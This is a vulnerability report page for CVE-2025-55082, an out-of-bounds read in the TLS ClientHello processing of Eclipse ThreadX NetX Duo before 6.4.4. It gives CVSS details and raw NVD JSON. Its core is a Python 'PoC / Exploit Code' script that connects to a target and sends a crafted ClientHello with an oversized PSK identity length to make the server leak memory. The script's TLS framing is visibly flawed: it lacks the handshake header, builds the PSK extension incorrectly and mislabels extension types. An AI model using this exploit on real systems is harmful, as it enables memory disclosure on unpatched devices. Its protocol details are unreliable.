Security Vulnerability Report
中文
CVE-2025-55082 CVSS 5.3 MEDIUM

CVE-2025-55082

Published: 2025-10-15 11:15:40
Last Modified: 2025-10-21 16:59:39

Description

In NetX Duo version before 6.4.4, the component of Eclipse Foundation ThreadX, there was a potential out of bound read in _nx_secure_tls_process_clienthello() because of a missing validation of PSK length provided in the user message.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:eclipse:threadx_netx_duo:*:*:*:*:*:*:*:* - VULNERABLE
Eclipse ThreadX NetX Duo < 6.4.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-55082 PoC - NetX Duo TLS PSK Length Out-of-Bounds Read # This PoC demonstrates the vulnerability by sending a malicious TLS ClientHello # with an abnormally long PSK identity length to trigger OOB read. import socket import struct import ssl def build_malicious_client_hello(target_host, target_port): """ Build a TLS ClientHello message with malicious PSK extension containing an oversized identity_length to trigger OOB read in _nx_secure_tls_process_clienthello(). """ # TLS record header: ContentType(Handshake=22) | Version | Length # Handshake type: ClientHello (1) client_hello = bytearray() # Client Version: TLS 1.2 (0x0303) client_hello += struct.pack('>H', 0x0303) # Random (32 bytes) client_hello += b'\x00' * 32 # Session ID Length (0) client_hello += b'\x00' # Cipher Suites Length and Suites cipher_suites = struct.pack('>H', 2) + struct.pack('>H', 0x1301) # TLS_AES_128_GCM_SHA256 client_hello += cipher_suites # Compression Methods client_hello += b'\x01\x00' # 1 method, null compression # Extensions extensions = bytearray() # PSK Extension (type 0x0029 for TLS 1.3 / 0x002D for PSK in TLS 1.2) # Malicious PSK identity with abnormally long length psk_extension = bytearray() psk_extension += struct.pack('>H', 0x0029) # PSK extension type # Malicious PSK identity with oversized length to trigger OOB read psk_identity_length = 0xFFFF # Abnormally large length psk_extension += struct.pack('>H', psk_identity_length) psk_extension += b'A' * 16 # Actual PSK identity data (much shorter than declared) # PSK binder (minimal) psk_extension += struct.pack('>H', 0) # binder length extensions += struct.pack('>H', len(psk_extension)) extensions += psk_extension client_hello += struct.pack('>H', len(extensions)) client_hello += extensions # Wrap in TLS record tls_record = bytearray() tls_record += b'\x16' # ContentType: Handshake tls_record += struct.pack('>H', 0x0301) # Version: TLS 1.0 (compatible) tls_record += struct.pack('>H', len(client_hello)) tls_record += client_hello return bytes(tls_record) def exploit(target_host, target_port): """ Send malicious ClientHello to trigger OOB read vulnerability """ print(f"[*] Targeting {target_host}:{target_port}") print(f"[*] CVE-2025-55082 - NetX Duo TLS PSK Length OOB Read") try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((target_host, target_port)) payload = build_malicious_client_hello(target_host, target_port) print(f"[*] Sending malicious ClientHello ({len(payload)} bytes)") sock.send(payload) # Receive response (may contain leaked memory or error) response = sock.recv(4096) print(f"[*] Received {len(response)} bytes from server") sock.close() print("[+] Exploit completed") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": import sys if len(sys.argv) > 1: target = sys.argv[1] else: target = "127.0.0.1" port = int(sys.argv[2]) if len(sys.argv) > 2 else 443 exploit(target, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-55082", "sourceIdentifier": "[email protected]", "published": "2025-10-15T11:15:39.547", "lastModified": "2025-10-21T16:59:38.537", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In NetX Duo version before 6.4.4, the component of Eclipse Foundation ThreadX, there was a potential out of bound read in _nx_secure_tls_process_clienthello() because of a missing validation of PSK length provided in the user message."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:eclipse:threadx_netx_duo:*:*:*:*:*:*:*:*", "versionEndIncluding": "6.4.3", "matchCriteriaId": "14D53A80-42C3-4AA9-989B-A3712C29D1CA"}]}]}], "references": [{"url": "https://github.com/eclipse-threadx/netxduo/security/advisories/GHSA-8h38-qjhh-mf2h", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}